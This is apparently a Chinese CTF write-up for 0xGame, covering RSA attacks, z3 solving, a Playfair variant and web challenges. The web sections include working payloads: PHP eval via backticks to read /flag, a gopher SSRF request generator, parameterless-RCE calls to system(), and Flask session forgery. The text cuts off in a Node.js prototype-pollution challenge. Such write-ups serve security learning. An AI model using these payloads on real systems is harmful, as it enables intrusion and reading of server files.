s.add(x[0] * 832094402 + x[1] * 3314572044 + x[2] * 488868442 + x[3] * 1841935151 + x[4] * 1171324799 + x[5] * 3471299188 + x[6] * 2551569670 + x[7] * 2706142177 + x[8] * 1413270141 + x[9] * 2799345217 + x[10] * 1736078138 + x[11] * 2640026379 + x[12] * 3309523775 + x[13] * 708228019 + x[14] * 187736002 + x[15] * 104108754 + x[16] * 2004810 + x[17] * 3509194834 + x[18] * 1101418726 + x[19] * 3213850540 + x[20] * 3057147817 + x[21] * 2872087805 + x[22] * 2543533871 + x[23] * 1405445933 + x[24] * 3453063846 + x[25] * 4186228310 + x[26] * 2620809382 + x[27] * 2719800494 + x[28] * 2919918455 + x[29] * 216899503 + x[30] * 2182290754 + x[31] * 674368800 == 146513328826081369964)
s.add(x[0] * 3379659353 + x[1] * 31185134 + x[2] * 2705610804 + x[3] * 1311536103 + x[4] * 660262997 + x[5] * 1502856668 + x[6] * 826236852 + x[7] * 1397745099 + x[8] * 2502632519 + x[9] * 3208481979 + x[10] * 2304290531 + x[11] * 315497265 + x[12] * 997141305 + x[13] * 1495605164 + x[14] * 1363724399 + x[15] * 228866868 + x[16] * 2175251957 + x[17] * 3389971630 + x[18] * 3635887769 + x[19] * 1257419666 + x[20] * 1525795938 + x[21] * 3607149798 + x[22] * 3014126932 + x[23] * 3279147474 + x[24] * 298781431 + x[25] * 459143014 + x[26] * 219295357 + x[27] * 1281424290 + x[28] * 57884126 + x[29] * 3878979772 + x[30] * 2624360304 + x[31] * 2540908447 == 125780026597502848309)
s.add(x[0] * 4141491113 + x[1] * 388348346 + x[2] * 2889238267 + x[3] * 3733701272 + x[4] * 1601705709 + x[5] * 1456475651 + x[6] * 948577705 + x[7] * 697474119 + x[8] * 3725363803 + x[9] * 3494425037 + x[10] * 2404375304 + x[11] * 1395091741 + x[12] * 2014936811 + x[13] * 3226479938 + x[14] * 97991957 + x[15] * 2571009732 + x[16] * 2169251700 + x[17] * 445613394 + x[18] * 3338254578 + x[19] * 3100217642 + x[20] * 450233404 + x[21] * 1452263534 + x[22] * 3323263008 + x[23] * 1281259019 + x[24] * 2881501240 + x[25] * 3853647762 + x[26] * 3872612425 + x[27] * 3625904675 + x[28] * 28491161 + x[29] * 837865088 + x[30] * 3019749606 + x[31] * 3755559168 == 145685276087861502602)
s.add(x[0] * 868978565 + x[1] * 1880902698 + x[2] * 2147687639 + x[3] * 3919867658 + x[4] * 1156685196 + x[5] * 1258174623 + x[6] * 985400361 + x[7] * 2158611251 + x[8] * 1736758238 + x[9] * 1949766062 + x[10] * 2648425083 + x[11] * 675668374 + x[12] * 1793502003 + x[13] * 1336203958 + x[14] * 915529071 + x[15] * 1122262796 + x[16] * 4218938706 + x[17] * 3220340687 + x[18] * 36734 + x[19] * 3241657248 + x[20] * 2771578913 + x[21] * 29182553 + x[22] * 50755641 + x[23] * 1762070976 + x[24] * 3306888932 + x[25] * 2636754670 + x[26] * 3631173493 + x[27] * 1644653937 + x[28] * 2618008158 + x[29] * 4191824826 + x[30] * 3192806718 + x[31] * 2190278270 == 144549374105911908218)
s.add(x[0] * 136541182 + x[1] * 2398358896 + x[2] * 2797311504 + x[3] * 2901208986 + x[4] * 2703442703 + x[5] * 2774784461 + x[6] * 2896299321 + x[7] * 3629629347 + x[8] * 2661198340 + x[9] * 2375796526 + x[10] * 2881309577 + x[11] * 3914693638 + x[12] * 2474743366 + x[13] * 1451731319 + x[14] * 2469518941 + x[15] * 585788456 + x[16] * 1081804477 + x[17] * 533018429 + x[18] * 1414204985 + x[19] * 3497925490 + x[20] * 3647335419 + x[21] * 1664992968 + x[22] * 1447923481 + x[23] * 3405490146 + x[24] * 249505201 + x[25] * 2233596994 + x[26] * 1410924969 + x[27] * 2337291136 + x[28] * 1379480160 + x[29] * 744913417 + x[30] * 2626213460 + x[31] * 433230044 == 152842832971821875727)
s.add(x[0] * 1014008577 + x[1] * 39181748 + x[2] * 1609902830 + x[3] * 63541537 + x[4] * 1956421427 + x[5] * 2909152377 + x[6] * 3644591420 + x[7] * 2245163593 + x[8] * 4286399149 + x[9] * 1403326636 + x[10] * 2505241388 + x[11] * 3866291259 + x[12] * 2191815293 + x[13] * 3790086170 + x[14] * 3670225237 + x[15] * 4242912516 + x[16] * 3946904107 + x[17] * 1837747940 + x[18] * 3855688508 + x[19] * 562956386 + x[20] * 890540326 + x[21] * 3159132292 + x[22] * 2704578526 + x[23] * 2105117563 + x[24] * 3103140980 + x[25] * 1827417523 + x[26] * 483250618 + x[27] * 3611418104 + x[28] * 876993421 + x[29] * 1524092496 + x[30] * 1409341189 + x[31] * 3793036452 == 171784010999187327978)
s.add(x[0] * 766382107 + x[1] * 1796925795 + x[2] * 2252539335 + x[3] * 349697888 + x[4] * 2128341206 + x[5] * 237551020 + x[6] * 3435605863 + x[7] * 3509292666 + x[8] * 2464261299 + x[9] * 3708905227 + x[10] * 306252195 + x[11] * 1348134057 + x[12] * 872885862 + x[13] * 3230301891 + x[14] * 4223976431 + x[15] * 2129576385 + x[16] * 184274380 + x[17] * 1339568775 + x[18] * 240471204 + x[19] * 4208060501 + x[20] * 3866337301 + x[21] * 1736393059 + x[22] * 4084431732 + x[23] * 3779198617 + x[24] * 3474528562 + x[25] * 3227302577 + x[26] * 1764448184 + x[27] * 1745641228 + x[28] * 3436861592 + x[29] * 3395770976 + x[30] * 3381022139 + x[31] * 297539769 == 159926095018550107875)
s.add(x[0] * 2905996883 + x[1] * 3368852349 + x[2] * 2813356621 + x[3] * 482055211 + x[4] * 1197172847 + x[5] * 731391015 + x[6] * 2945886565 + x[7] * 3467015148 + x[8] * 537949256 + x[9] * 2535535996 + x[10] * 1176357138 + x[11] * 3396182730 + x[12] * 2858025536 + x[13] * 3563590525 + x[14] * 4141138247 + x[15] * 3391692063 + x[16] * 2595437915 + x[17] * 234965395 + x[18] * 1117742031 + x[19] * 3427440116 + x[20] * 3558609028 + x[21] * 112305692 + x[22] * 238895413 + x[23] * 2820696874 + x[24] * 1930124190 + x[25] * 2904137135 + x[26] * 3600773562 + x[27] * 54663135 + x[28] * 968260380 + x[29] * 2500702039 + x[30] * 3005295995 + x[31] * 4136599497 == 147261348508848582047)
s.add(x[0] * 3421877383 + x[1] * 444332646 + x[2] * 3066582397 + x[3] * 410262930 + x[4] * 2799546449 + x[5] * 2190731430 + x[6] * 3607309350 + x[7] * 2329930437 + x[8] * 2678982918 + x[9] * 2797446341 + x[10] * 3884979666 + x[11] * 757321735 + x[12] * 272692453 + x[13] * 1039573000 + x[14] * 1106227562 + x[15] * 1967995121 + x[16] * 3818641657 + x[17] * 2958463100 + x[18] * 693634090 + x[19] * 4116131146 + x[20] * 3604001650 + x[21] * 1238373233 + x[22] * 3200266845 + x[23] * 3957996712 + x[24] * 3653451723 + x[25] * 2961370342 + x[26] * 3043337802 + x[27] * 1398445668 + x[28] * 3133330721 + x[29] * 679074840 + x[30] * 3563156569 + x[31] * 176796959 == 167538035640995956562)
s.add(x[0] * 3407463393 + x[1] * 2954388381 + x[2] * 3398321376 + x[3] * 703750584 + x[4] * 719140271 + x[5] * 4255500079 + x[6] * 683637205 + x[7] * 3659297114 + x[8] * 618688496 + x[9] * 2469121759 + x[10] * 3644135823 + x[11] * 1311631006 + x[12] * 3732181084 + x[13] * 2946211492 + x[14] * 3723132383 + x[15] * 1325756630 + x[16] * 568937023 + x[17] * 3359219977 + x[18] * 2395244206 + x[19] * 4246808660 + x[20] * 2956191019 + x[21] * 494313100 + x[22] * 3493565032 + x[23] * 2125356358 + x[24] * 293383341 + x[25] * 2881003778 + x[26] * 1563660838 + x[27] * 2562578871 + x[28] * 4144554067 + x[29] * 22718298 + x[30] * 2390441161 + x[31] * 3851902251 == 149364132975709163594)
s.add(x[0] * 3700867328 + x[1] * 162482258 + x[2] * 172681360 + x[3] * 673608768 + x[4] * 3896952374 + x[5] * 1606330254 + x[6] * 2557779118 + x[7] * 2839188805 + x[8] * 789655247 + x[9] * 3424210560 + x[10] * 100545829 + x[11] * 3936538736 + x[12] * 1653944730 + x[13] * 2102833767 + x[14] * 3306727712 + x[15] * 599821842 + x[16] * 2700883336 + x[17] * 2593372272 + x[18] * 4217672760 + x[19] * 1547041783 + x[20] * 3434126938 + x[21] * 356726724 + x[22] * 3095721683 + x[23] * 2932731911 + x[24] * 4136374907 + x[25] * 730165508 + x[26] * 3627218359 + x[27] * 2518974159 + x[28] * 3248668960 + x[29] * 1495203249 + x[30] * 2284224748 + x[31] * 1790575076 == 139010541840838007430)

s.check()
print(s.model())
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from hashlib import md5

x = [0] * 32

x[6] = 4217977576
x[3] = 763601920
x[31] = 75034618
x[4] = 1653708118
x[5] = 2433063826
x[12] = 2984323532
x[13] = 2502694787
x[23] = 3977926013
x[10] = 4089088412
x[15] = 1806361262
x[0] = 89155365
x[16] = 4041026542
x[14] = 417461604
x[17] = 1690492554
x[22] = 1908777079
x[24] = 2553491708
x[21] = 2258589262
x[25] = 2361686047
x[18] = 1842407621
x[1] = 3795653268
x[11] = 974751512
x[27] = 3782713824
x[19] = 3241492534
x[29] = 4130286729
x[9] = 1970630923
x[30] = 12709818
x[28] = 42128790
x[8] = 3519663525
x[2] = 783620457
x[7] = 1709775682
x[20] = 2467028824
x[26] = 483149607

s = 0

for i in x:
    s += i

print('0xGame{' + md5(str(s).encode()).hexdigest() + '}')

flag 0xGame{d23caedc66301966094bf8968610f61f}

hint 是 共模攻击、模不互素、多素数相乘下φ(n)的计算、低指数小明文攻击

task.py

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from Crypto.Util.number import *
from secret import flag, hint

# part1
print('part1:')
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 5
c = pow(m, e, n)
print(f'n = {n}')

# part2
print('part2:')
m = c
while True:
    p = getPrime(256)
    q = 2 * p - 1
    if isPrime(q):
        break
r = getPrime(256)
n = (p ** 2) * (q ** 3) * r
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001
c = pow(m, e, n)
e = 0x10001
d = inverse(e, phi)
print(f'p = {p}')
print(f'n = {n}')

# part3
print('part3:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
c = pow(m, e, n)
print(f'n1 = {n}')
m_hint = bytes_to_long(hint)
p = getPrime(1024)
n = p * q
e = 0x10001
c_hint = pow(m_hint, e, n)
print(f'n2 = {n}')
print(f"c_hint = {c_hint}")

# part4
print('part4:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = 823
e2 = 827
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f'n = {n}')

output.txt

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part1:
n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
part2:
p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
part3:
n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711
c_hint = 12120021785410200674936083975068492622806596845579817711207411931311673622528683733295899555542821765486413339677732337051154734922381291549341456901391897097071173557362462670207940577864049130086490199471016266752247947028119300006197925597902468232113412106835719324155978933609953160168249853647848792919491609758205614794158719549005912914647125869214028842543301994189007931419280489270222524804427348611393246242401221829752270244371023220680417679183759839375701147795748353616923267194525565792165688787118410950596647945293284284065635467684624433860537889580808687549562010274639326086182100555438472928477
part4:
c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191

这题要从下往上解, 从 part4 解到 part1, 因为在 task.py 中从上到下进行加密时, 上一步的 c 是下一步的 m

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/#_7

参考工具 https://github.com/kur0mi/CTF-RSA

part4 是共模攻击

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# coding=utf-8

"""
选择相同的模 n 加密相同的信息 m

"""
import sys
sys.setrecursionlimit(10000000)

helpstr = '''
usage:
    c1 = m ^ e1 % n
    c2 = m ^ e2 % n
'''


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def main():
    print(helpstr)
    n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191
    c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
    c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
    e1 = 823
    e2 = 827
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = modinv(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = modinv(c2, n)
    m = (c1**s1)*(c2**s2) % n
    print(m)


if __name__ == '__main__':
    main()

结果如下

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2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551

part3 是模不互素, 即可以通过 n1 n2 的公约数来求 p q, 从而解出明文

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#coding: utf-8

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

print "p = "+str(gcd(n1, n2))
print "q1 = "+str(n1/gcd(n1, n2))
print "q2 = "+str(n2/gcd(n1, n2))

结果如下

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p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001
q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

然后写个脚本求 d, 进而解出 m

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import gmpy2

p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001

q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

e = 0x10001
c = 2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551
phi_n1 = (p - 1) * (q1 - 1)

d1 = gmpy2.invert(e, int(phi_n1))
m = pow(c, int(d1), n1)

print(m)

求出来 m 如下

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1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140

part2 根据 hint 猜测是 多素数相乘下φ(n)的计算

output.txt 中给出的信息已经足够多了, 直接就可以算出来 q r phi

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import gmpy2

p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
c = 1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001

d = gmpy2.invert(e, phi)
m = pow(c, int(d), n)

print(m)

结果如下

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35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

part1 就是小指数明文攻击, 因为 e=5

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'ByStudent'
from gmpy2 import iroot

n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
e = 5
c = 35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

i = 0
while 1:
    res = iroot(c+i*n, e)
    if res[1]:
        print(res)
        break
    print("[-] i = " + str(i))
    i = i+1

求出来 m 如下

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77888028579296633178521454553482348398571313408605656372703101

最后再 long_to_bytes, 得出的 flag 为 0xGame{rsa-----just_so_so}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091412914.png

自己写的脚本跑的时间挺长的, 有点尴尬…

找了个 go 版本的工具

https://github.com/hydewww/sha256-go

输入正确之后会让你求 s t, 直接用 z3

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from z3 import *

solver = Solver()

a = 8048
b = 17583
c = 1

s = Int('s')
t = Int('t')

solver.add(a * s + b * t == c)
print(solver.check())
print(solver.model())

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091420009.png

没用到 pwntools, 不过手速快点问题也不大 (被打)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210131505963.png

参考文章 https://ctf-wiki.org/crypto/classical/polyalphabetic/#playfair

playfair 加密, 密码表从 5x5 改成了 6x6, 但是思路是差不多的

基本原理如下

  1. 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。
  2. 将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。
  3. 在每组中,找出两个字母在矩阵中的地方。
    • 若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。
    • 若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
    • 若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。

按照上面的倒推即可

先拆分成两两一组

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3u Mg kg gk ly js 47 xg 0m x3

然后根据规则, 对应密码表找出整理后的明文

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0x Ga me em mx mp1a yf 4i rx

之后去掉 x, 连在一起

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0xGame emmmp1ayf4ir

最后加上大括号就是 flag

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0xGame{emmmp1ayf4ir}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151046466.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151046514.png

thinkphp v6.0.13

存在 www.zip, 下载解压

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151049743.png

/app/controller/Page.php

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<?php
namespace app\controller;

use app\BaseController;

class Page extends BaseController
{
    public function hello()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> hello my friend!:)' .  '<br/><span style="font-size:30px;"><del>不记得几载了</del>初心不改 - 你值得信赖的新手入门比赛</span></p><span style="font-size:25px;">[ 由 <a href="https://0xgame.h4ck.fun/home" target="yisu">0xGame</a> 独家赞助发布 ]</span></div><think id="ee9b1aa918103c4fc"></think>';
    }


    public function evil()
    {   
        
        if(isset($_GET['f'])){
            $f=$_GET['f'];
            if(preg_match('/\(|\)/',$f)){
                return self::hello();
            }
            eval($f);
       }else return self::hello();
    }
        
}

代码执行, 过滤了括号, 可以换成反引号来执行命令

注意一下 thinkphp 的 url 格式

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http://47.96.3.142:8849/public/index.php/Page/evil?f=echo `cat /flag`;

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151050920.png

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<?php 
error_reporting(1);
highlight_file(__FILE__);
$url=$_GET['url'];
if(preg_match('/127|dict|file|ftp|localhost|0.0.0.0/',$url)){
  die('想都别想');
}//evil.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output;

Linux 环境下可以用 0 绕过

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151052397.png

evil.php

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<?php
error_reporting(1);
if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
    die('Allow local only');
}
if('GET' === $_SERVER['REQUEST_METHOD']){
  highlight_file(__FILE__);
  die('Invalid request mode');
}
if(isset($_POST['c'])){
    $c=$_POST['c'];
    if(preg_match('/[^\W_]+\((?R)?\)/',$c)){
      eval($c);
    }
    else die('nonono');
}

不能用 get 访问, 那么换成 post, 这里很明显考察的是利用 gopher 协议进行 ssrf

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import re
import urllib.parse

payload = 'c=phpinfo();'
data = f'''POST /evil.php HTTP/1.1
Host: 0:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(payload)}

{payload}
'''
data = urllib.parse.quote(data)
strinfo = re.compile('%0A',re.I)
new = strinfo.sub('%0D%0A', data)
new = 'gopher://0:80/_' + new + '%0D%0A'
new = urllib.parse.quote(new)
print(new)

记得加上 Connection: close, 不然会一直卡住

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151105599.png

然后就是无参数 rce

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c=eval(end(current(get_defined_vars())));

get 传递 d=system('whoami');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151107157.png

查看 flag

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gopher%3A//0%3A80/_POST%2520/evil.php%253Fd%253Dsystem%2528%2527cat%2520/flag%2527%2529%253B%2520HTTP/1.1%250D%250AHost%253A%25200%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252041%250D%250A%250D%250Ac%253Deval%2528end%2528current%2528get_defined_vars%2528%2529%2529%2529%2529%253B%250D%250A%250D%250A

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151107055.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151108903.png

看名字猜出来是 flask session 伪造

输入 {{config}} 得到 secretkey

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151109521.png

cookie decode 之后的结构如下

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{"id":"flag in /admin","user":"nobody"}

user 改成 admin, id 改成 0

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151111092.png

最后访问 /admin

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151112478.png

app.js

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var express = require('express');
const { exec } = require('child_process');


var app = express();
app.use(express.json()); 
app.use(express.urlencoded({ extended:true })); 
var user = {};
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return true;
}

app.get('/time', (req, res) => { 

        let time = {
            "cmd1": "uptime",
        };
        for (let cmd in time) {
            exec(time[cmd], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
	        });
        }
        res.send('time is a bi*ch')
})

app.post('/gotit', (req, res) => {
	var client = req.body;
    if(JSON.stringify(client)!=='{}'){
        console.log(client);
